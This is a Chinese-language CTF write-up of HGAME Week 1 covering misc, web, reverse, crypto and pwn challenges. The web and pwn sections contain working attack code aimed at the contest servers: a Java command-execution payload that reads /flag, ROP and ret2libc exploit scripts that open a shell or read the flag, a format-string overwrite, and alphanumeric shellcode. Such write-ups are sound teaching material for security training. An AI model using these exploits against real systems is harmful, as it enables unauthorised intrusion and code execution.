# HGAME Week1 WriteUP

Written by woshiluo.

## Misc

### SignIn

有请 GIMP 自由拉伸。

### 来自星尘的问候

提示的挺明显，直接去游戏官网能够找到该字体。

六位弱加密，stegseek 直接爆破。

爆破完了后给了字体查看器。

拖搞到的字体进去。

肉眼观察可以得到答案。

### simple_attack

明文爆破。

试了半天才发现是 bandzip 压的。

### 希儿希儿希尔

直接 binwalk 得到密文。

LSB 得到密钥。

提示了 Hill 密码。解密即可。

### 签到

谢谢，已经取关了。

## Web

### 2048*16

抓个包，发现没给服务器发请求。

直接魔改 js，让方块只会生成 32756。

移动一下就能得到 flag 了。

### Bypass it

开扫。

逮捕到 `register.php`

```
curl "http://47.100.137.175:31227/register.php?username=1&password=1" --data
 ↪  "username=1&password=1"
```

登录，得到 flag。

### jhat

显然有任意读，相关办法搞回显。

直接抛出字符串。

```
throw (new java.io.BufferedReader(
    new
         java.io.InputStreamReader(
             (java.lang.Runtime.getRuntime().exec('cat /flag')).getInputStream()
         )
)).readLine()
```

### Select Courses

搞了半天也没看出来咋搞。

乱点发现小概率能选上课。

我是脚本小子！

```
while true; do for i in $(seq 1 5); do curl 'http://47.100.137.175:30995/api/courses' -X
↪ POST -H 'Content-Type: application/json' --data-raw "{\"id\":${i}}"; done; done
```

### ezHTTP

```
curl --header "Referer: vidar.club" --header "User-Agent: Mozilla/5.0 (Vidar; VidarOS
↪ x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
↪ Edg/121.0.0.0" --header "X-Real-IP: 127.0.0.1" 47.100.137.175:31517 -vv
```

## Reverse

### ezASM

check_flag 一眼异或。

```
char x[] = { 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18,
↪ 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34, 0 };

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    int p = sizeof(x);
    for( int i = 0; i < p - 1; i ++ )
        x[i] ^= 0x22;
    printf( "%s\b", x );

}
```

### ezPYC

我是在附件更新前做的。

解包，直接逆 pycdc 挂了。

看看 as

```
pycdas ./ezPYC.pyc
```

还是异或

```c
char data[] = { 87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114,
 ↪  100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108,
 ↪  100, 37, 124, 2, 0};
char key[6] = {};

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    int p = sizeof(data) - 1;
//  key[0] = data[0] ^ 'h';
//  key[1] = data[1] ^ 'g';
//  //key[2] = data[2] ^ 'a';
//  //key[3] = data[3] ^ 'm';
//  //key[4] = data[4] ^ 'e';
//  //key[5] = data[5] ^ '{';
    for( int i = 0; i < p; i ++ )
        data[i] ^= ( i % 4 ) + 1;
    printf( "%s\n", data );
    //
    //
}
```

**ezUPX**

upx 直接脱壳。

有请 IDA。

还是异或

```c
unsigned char data[] =
{
      0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13,
        0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06,
          0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54,
            0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00,
              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    for( int i = 0; i < 37; i ++ )
        data[i] ^= 0x32;
    printf( "%s\n", data );

}
```

**ezIDA**

```
strings ./ezIDA.exe
```

## Crypto

奇怪的图片

考虑异或的自反性。

随边选一张图异或其他图就能得到还能看，有一定顺序的图。

人工复原即可。

```python
import time

import os

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets


flag = "hgame{fake_flafdsafdsafdsafdsg}"


def generate_random_image(width, height):
    image = Image.new("RGB", (width, height), "white")
    pixels = image.load()
    for x in range(width):
        for y in range(height):
            red = random.randint(0, 255)
            green = random.randint(0, 255)
            blue = random.randint(0, 255)
            pixels[x, y] = (red, green, blue)
    return image


def draw_text(image, width, height, token):
    font_size = random.randint(16, 40)
    font = ImageFont.truetype("arial.ttf", font_size)
    text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    x = random.randint(0, width - font_size * len(token))
    y = random.randint(0, height - font_size)
    draw = ImageDraw.Draw(image)
    draw.text((x, y), token, font=font, fill=text_color)
    return image


def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions.")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image


def generate_unique_strings(n, length):
    unique_strings = set()
    while len(unique_strings) < n:
        random_string = secrets.token_hex(length // 2)
        unique_strings.add(random_string)
    return list(unique_strings)


random_strings = generate_unique_strings(len(flag), 8)

# file = "5c55dc77.png"
# file = "6f050db3.png"
# file = "8efe1319.png"
file = "1e818c03.png"
key_image = Image.open("./png_out/{}".format(file))

#
j=0
for i in os.listdir("./png_out"):
    print(i)
    current_image = Image.open("./png_out/{}".format(i))
    xor_images(current_image,key_image).save("./png_out2/{}-{}".format( file, i ))
    j+=1
```

### ezMath

连分数。

```python
def solve_pell(N, numTry = 100):
    cf = continued_fraction(math.sqrt(N))
    for i in range(numTry):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^2 == 1:
            return numer, denom
    return None, None

print(solve_pell(114514))
```

### ezRSA

费马小定理

```python
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
```

```python
#
# Distributed under terms of the GNU AGPLv3+ license.

import gmpy2
from Crypto.Util.number import *

p=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839
q=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119
c=105294818675325200342580567738640740170270195780418662454006478402302516616529997097159196208109334371
n=p*q
e=0x10001
phi=(p-1)*(q-1)
d=gmpy2.invert(e, phi)

enc=pow(c,d,n)
print(long_to_bytes(enc))
```

### ezPRNG

显然 32 位往后的数字都由前 32 位决定，没啥意义。

倒着推即可。

```c
u32 str[4] =
 {
0b11111011011101111000010101101000u,
0b00100000000010101111000011000111u,
0b11101101100100010111001111101111u,
0b00011010101010101000010010011000u,
 };
u32 mask = 0b10001001000010000100010010001001;

char output[6];

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    for( int p = 0; p < 4; p ++ ) {
        unsigned int res = 0;
        for( int i = 0; i < 32; i ++ ) {
            u32 flag = str[p] & 1;
            str[p] >>= 1;
            u32 target = ( str[p] & mask );
            u32 count = __builtin_popcount(target) & 1;
            if( count != flag ) {
                str[p] |= 1u << 31u;
                res |= 1u << i;
            }
        }
        printf( "%x-", res );
    }
    //  memcpy( output, &res, sizeof(int) );
    //  printf( "%s\n", output );
```

}

## PWN

### EzSignIn

连接，下班。

### Elden Ring

非常明显的栈溢出。

但是空间有限。

ban 了 execve。

但是没有关系，我们可以先获取 libc。

然后 fprintf 打印栈地址。

有了栈地址就能乱写一气了。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.


from pwn import *
from ctypes import *

so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_plt = vuln.plt['puts']
main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['__libc_start_main']
libc_base = 0
format_addr = libc_base + next(libc.search(b"--%s: %s"))

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
↪  'debug')

r  = remote("47.100.137.175", 32725)
# r = process("./vuln_patched")
# pwnlib.gdb.attach(proc.pidof(r)[0])

r.recvuntil(b" I offer you an accord.\n\n")
myread = 0x40125B;
pop_rdi_ret = 0x00000000004013e3;
print("[*] Get libc base")
payload = b"%p%p%p%p" + b'A' * ( 256 - 8 ) + b'B' * 8 + p64(pop_rdi_ret) +
↪  p64(libc_start_main_got) + p64(puts_plt) + p64(myread)
#
```

```
r.send(payload)


libc_main_addr = u64(r.recv()[0:6].ljust(8,b'\x00'))
# r.recvuntil(b"brilliant mind.")
print(p64(libc_main_addr))
libc_base = libc_main_addr - libc.symbols['__libc_start_main']
fprintf_addr = libc_base + libc.symbols['fprintf']
# stdout_addr = libc_base + libc.symbols['stdout']
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
read_addr = libc_base + libc.symbols['read']
open_addr = libc_base + libc.symbols['open']
write_addr = libc_base + libc.symbols['write']
libc_syscall = 0x000000000002284d
libc_pop_rax_ret = 0x0000000000036174
# format_addr = libc_base + next(libc.search(b"--%s: %s"))
# format_addr = libc_base + next(libc.search(b"%ld %ld"))
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
ret_addr = 0x000000000040101a
libc_xor_rax = 0x00000000000b1d69 + libc_base
libc_pop_rsi_ret = 0x000000000002601f + libc_base
libc_pop_rsp = 0x000000000002f70a + libc_base
libc_pop_rdx = 0x0000000000142c92 + libc_base
init_addr = 0x4011F6

payload = b"%17$paaa" + b'A' * ( 256 - 8 ) + b'B' * 8 + p64(ret_addr) + p64(pop_rdi_ret)
 ↪  + p64(stdout_addr) + p64(fprintf_addr) + p64(myread)

pause()

print("[*] try leak stack addr")
r.recvuntil(b" I offer you an accord.\n\n")
r.send(payload)


# 0x7ffdc558f768
# r.recvuntil(b" I offer you an accord.\n\n")
leak_stack = int(r.recv()[:14], 0) + 0x100
print(hex(leak_stack))
payload = b"%17$paaa" + b'A' * ( 256 - 8 ) + b'B' * 8 + p64(ret_addr) +
 ↪  p64(libc_pop_rsi_ret) + p64(leak_stack) + p64(read_addr) + p64(myread)
print("[*] write stack")
r.send(payload)

r.send(p64(myread))

pause()

print("[*] jump stack")
payload = b"%17$paaa" + b'A' * ( 256 - 8 ) + b'B' * 8 + p64(ret_addr) + p64(libc_pop_rsp)
 ↪  + p64(leak_stack)

r.send(payload)
```

```
written_addr = leak_stack - 0x200
flag_addr = leak_stack - 0x100
leak_stack -= 0x100 - 0x08
payload = b"/flag\x00\x00\x00" + p64(pop_rdi_ret) + p64(flag_addr) +
 ↪  p64(libc_pop_rsi_ret) + p64(0) + p64(libc_pop_rdx) + p64(0) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(libc_pop_rsi_ret) + p64(written_addr) +
 ↪  p64(libc_pop_rdx) + p64(0x30) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(libc_pop_rsi_ret) + p64(written_addr) +
 ↪  p64(libc_pop_rdx) + p64(0x30) + p64(write_addr)
payload +=  b'A' * ( 256 - 22 * 8 ) + b'B' * 8 + p64(ret_addr) + p64(libc_pop_rsp) +
 ↪  p64(leak_stack)

print("[*] try do everything")
r.send(payload)

# r.send(p64(0x40125B))

r.interactive()
```

### ezshellcode

发现好像限了长度。

但是没有关系，read 的参数是 size_t，这货是 unsigned 的。

直接输入 -1 就可以当没有限制。

去网上挡个可见 payload 下来即可。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.


from pwn import *

r = remote("47.100.137.175",32552)
context(arch = 'amd64', os = 'linux', log_level = 'debug')

payload=b"-1"
r.send(payload)

shellcode_64="`Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5
payload=shellcode_64

r.send(payload)

r.interactive()
```

### Elden Random Challenge

先调 libc 过了随机数。

ret2libc 即可。

```python
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.


from pwn import *
from ctypes import *

so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_plt = vuln.plt['puts']
main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['__libc_start_main']
libc_base = 0
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

r = remote("47.100.137.175",31761)
context(arch = 'amd64', os = 'linux', log_level = 'debug')

so.srand(so.time(0))

r.sendline("1")

for i in range(99):
    r.recvuntil("the number")
    x=so.rand() % 100 + 1;
    r.send(p32(x))

r.recvuntil(b"brilliant mind.\n")
myread = 0x401398;
pop_rdi_ret = 0x0000000000401423;
payload = b'A' * 48 + b'B' * 8 + p64(pop_rdi_ret) + p64(libc_start_main_got) +
 ↪  p64(puts_plt) + p64(myread)
#
r.send(payload)

libc_main_addr = u64(r.recv()[0:6].ljust(8,b'\x00'))
r.recvuntil(b"brilliant mind.")
print(p64(libc_main_addr))
libc_base = libc_main_addr - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
ret_addr = 0x000000000040101a

payload = b'A' * 48 + b'B' * 8 + p64(ret_addr) + p64(ret_addr) + p64(pop_rdi_ret) +
 ↪  p64(bin_sh_addr) + p64(system_addr)

r.send(payload)
# #
r.interactive()
```

**ezfmt string**

只有一次的格式化字符串利用。

只能 ret2csu 了。

```python
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.


from pwn import *
from ctypes import *

# so = CDLL("./libc.so.6")
# vuln = ELF('./vuln')
# libc = ELF('./libc.so.6')
# puts_plt = vuln.plt['puts']
# main_symbol = vuln.symbols['main']
# libc_start_main_got = vuln.got['__libc_start_main']

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
 ↪  'debug')
# r = process("./vuln_2")

# def get_vuln_offset(payload):
#     p = process("./vuln_2")
#     p.recvline()
#     p.sendline(payload)
#     info = p.recv()
#     return info

# vuln_offset = FmtStr(get_vuln_offset).offset
# print(vuln_offset)

# r.sendline( b'A' * 0x100 )
# for i in range(0x20):
r = remote("47.100.137.175", 30662)

# r = process("./vuln_2")
# pwnlib.gdb.attach(proc.pidof(r)[0])
r.recvline()
# r.recvuntil(b"getshell")
pause()
payload=b"%744c%50$hnaaaaa"
payload+=fmtstr_payload(12, { 0x404100: 0x40123D }, numbwritten = 744 + 5 )
# payload+=b"%680c%50$hn"
r.send(payload)
# gdb.attach(r)
# r.send(b"1")

r.interactive()
```